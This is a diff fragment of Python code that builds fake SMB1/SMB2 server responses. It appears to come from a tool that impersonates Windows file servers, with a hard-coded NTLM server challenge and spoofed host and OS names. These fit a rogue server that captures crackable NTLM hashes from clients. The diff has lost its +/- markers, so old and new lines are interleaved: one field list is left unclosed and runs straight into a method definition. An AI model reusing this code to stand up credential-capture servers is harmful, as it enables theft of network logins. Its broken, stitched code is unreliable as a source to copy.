||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
("NTLMSSPNTLMPadding", ""),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
@@ -1155,7 +1211,7 @@ class SMBSession1Data(Packet):
|
||||
|
||||
###### Bcc len
|
||||
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
|
||||
|
||||
###### SecBlobLen
|
||||
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
@@ -1185,7 +1241,7 @@ class SMBSession1Data(Packet):
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
|
||||
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
@@ -1203,7 +1259,7 @@ class SMBSession2Accept(Packet):
|
||||
("SecBlobLen", "\x09\x00"),
|
||||
("Bcc", "\x89\x01"),
|
||||
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
@@ -1230,7 +1286,7 @@ class SMBTreeData(Packet):
|
||||
("GuestShareAccessRight","\x00\x00\x00\x00"),
|
||||
("Bcc", "\x94\x00"),
|
||||
("Service", "IPC"),
|
||||
("ServiceTerminator","\x00\x00\x00\x00"),
|
||||
("ServiceTerminator","\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
@@ -1245,7 +1301,7 @@ class SMBTreeData(Packet):
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
@@ -1280,36 +1336,265 @@ class SMBSessTreeAns(Packet):
|
||||
|
||||
class SMB2Header(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
("Cmd", "\x72"),
|
||||
("Error-Code", "\x00\x00\x00\x00" ),
|
||||
("Flag1", "\x10"),
|
||||
("Flag2", "\x00\x00"),
|
||||
("Pidhigh", "\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("TID", "\x00\x00"),
|
||||
("PID", "\xff\xfe"),
|
||||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
("Proto", "\xfe\x53\x4d\x42"),
|
||||
("Len", "\x40\x00"),#Always 64.
|
||||
("CreditCharge", "\x00\x00"),
|
||||
("NTStatus", "\x00\x00\x00\x00"),
|
||||
("Cmd", "\x00\x00"),
|
||||
("Credits", "\x01\x00"),
|
||||
("Flags", "\x01\x00\x00\x00"),
|
||||
("NextCmd", "\x00\x00\x00\x00"),
|
||||
("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("PID", "\x00\x00\x00\x00"),
|
||||
("TID", "\x00\x00\x00\x00"),
|
||||
("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
class SMB2Nego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
class SMB2NegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Len", "\x41\x00"),
|
||||
("Signing", "\x01\x00"),
|
||||
("Dialect", "\xff\x02"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
|
||||
("Capabilities", "\x07\x00\x00\x00"),
|
||||
("MaxTransSize", "\x00\x00\x10\x00"),
|
||||
("MaxReadSize", "\x00\x00\x10\x00"),
|
||||
("MaxWriteSize", "\x00\x00\x10\x00"),
|
||||
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
|
||||
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
|
||||
("SecBlobOffSet", "\x80\x00"),
|
||||
("SecBlobLen", "\x78\x00"),
|
||||
("Reserved2", "\x00\x00\x00\x00"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x76"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x6c"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x6a"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x3c"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x3a"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x0a"),
|
||||
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech3ASNId", "\x06"),
|
||||
("NegThisMech3ASNLen", "\x09"),
|
||||
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x0a"),
|
||||
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||
("NegThisMech5ASNId", "\x06"),
|
||||
("NegThisMech5ASNLen", "\x0a"),
|
||||
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x2a"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x28"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x26"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x24"),
|
||||
("NegHintFinalASNStr", "Server2008@SMB3.local"),
|
||||
])
|
||||
|
||||
class SMB2NegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("StrType","\x02" ),
|
||||
("dialect", "NT LM 0.12\x00"),
|
||||
("StrType1","\x02"),
|
||||
("dialect1", "SMB 2.002\x00"),
|
||||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
def calculate(self):
|
||||
|
||||
|
||||
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
|
||||
|
||||
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
#Packet Struct len
|
||||
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
|
||||
#Sec Blob lens
|
||||
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
|
||||
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
|
||||
#ASN Stuff
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
|
||||
class SMB2Session1Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Len", "\x09\x00"),
|
||||
("SessionFlag", "\x00\x00"),
|
||||
("SecBlobOffSet", "\x48\x00"),
|
||||
("SecBlobLen", "\x06\x01"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x82"),
|
||||
("ChoiceTagASNIdLen", "\x01\x02"),
|
||||
("NegTokenTagASNId", "\x30"),
|
||||
("NegTokenTagASNLenOfLen","\x81"),
|
||||
("NegTokenTagASNIdLen", "\xff"),
|
||||
("Tag0ASNId", "\xA0"),
|
||||
("Tag0ASNIdLen", "\x03"),
|
||||
("NegoStateASNId", "\x0A"),
|
||||
("NegoStateASNLen", "\x01"),
|
||||
("NegoStateASNValue", "\x01"),
|
||||
("Tag1ASNId", "\xA1"),
|
||||
("Tag1ASNIdLen", "\x0c"),
|
||||
("Tag1ASNId2", "\x06"),
|
||||
("Tag1ASNId2Len", "\x0A"),
|
||||
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("Tag2ASNId", "\xA2"),
|
||||
("Tag2ASNIdLenOfLen", "\x81"),
|
||||
("Tag2ASNIdLen", "\xE9"),
|
||||
("Tag3ASNId", "\x04"),
|
||||
("Tag3ASNIdLenOfLen", "\x81"),
|
||||
("Tag3ASNIdLen", "\xE6"),
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x03"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB3"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
###### Convert strings to Unicode
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
#Packet struct calc:
|
||||
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
|
||||
###### SecBlobLen Calc:
|
||||
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||
|
||||
|
||||
#Packet Struct len
|
||||
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
|
||||
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
|
||||
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
|
||||
|
||||
###### ASN Stuff
|
||||
if len(CalculateSecBlob) > 255:
|
||||
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
|
||||
else:
|
||||
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
|
||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
||||
|
||||
if len(AsnLen+CalculateSecBlob)-3 > 255:
|
||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
|
||||
else:
|
||||
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
|
||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||
|
||||
if len(AsnLen+CalculateSecBlob)-7 > 255:
|
||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
|
||||
else:
|
||||
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
|
||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
|
||||
|
||||
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||
|
||||
if len(tag2length) > 255:
|
||||
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
|
||||
else:
|
||||
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
|
||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
|
||||
|
||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
